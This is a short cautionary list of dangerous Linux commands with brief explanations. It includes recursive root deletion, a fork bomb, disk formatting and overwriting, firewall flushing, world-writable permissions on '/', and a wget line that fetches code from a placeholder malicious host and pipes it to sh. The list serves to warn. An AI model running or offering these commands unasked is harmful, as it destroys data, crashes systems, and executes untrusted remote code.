Dangerous Commands in linux environments

Command used to restart servers

shutdown

Command used to restart servers

reboot now

Command used to change local user passwords

passwd [user]

Command used to remove files and folders recursively

rm -rf

Command used to remove all data of the server (the / parameter indicates the main folder of the system)

rm -rf /

Remove all settings made in iptables (internal firewall)

iptables -F

This command creates a loop that opens infinite pages on the server, causing it to crash

: ( ){ : | : & } ; :

This command formats the device especified. The /dev/sda is an example.

mkfs.ext4 /dev/sda

This command writes data directly on the device, and can cause lost of data or can corrupt the device blocks

command > /dev/sda

This command writes random data into the specified device on a binary level. This process cause lost of all data(similar to a format process, but it writes random data)

dd if=/dev/random of=/dev/sda

This command moves the home user directory into nothing, causing lost of all data of that user.

mv ~ /dev/null

This command download the file of “http://malicious_source” and executes right after.
The wget command combining with a malicious site/source can be dangerous.

 wget http://malicious_source -O- | sh

This command executes the previous command of the history.
Executing a command without knowing witch one is, can be dangerous.

^foo^bar

This command will grant read, write and execute permissions on all system files for all users.

chmod -R 777 /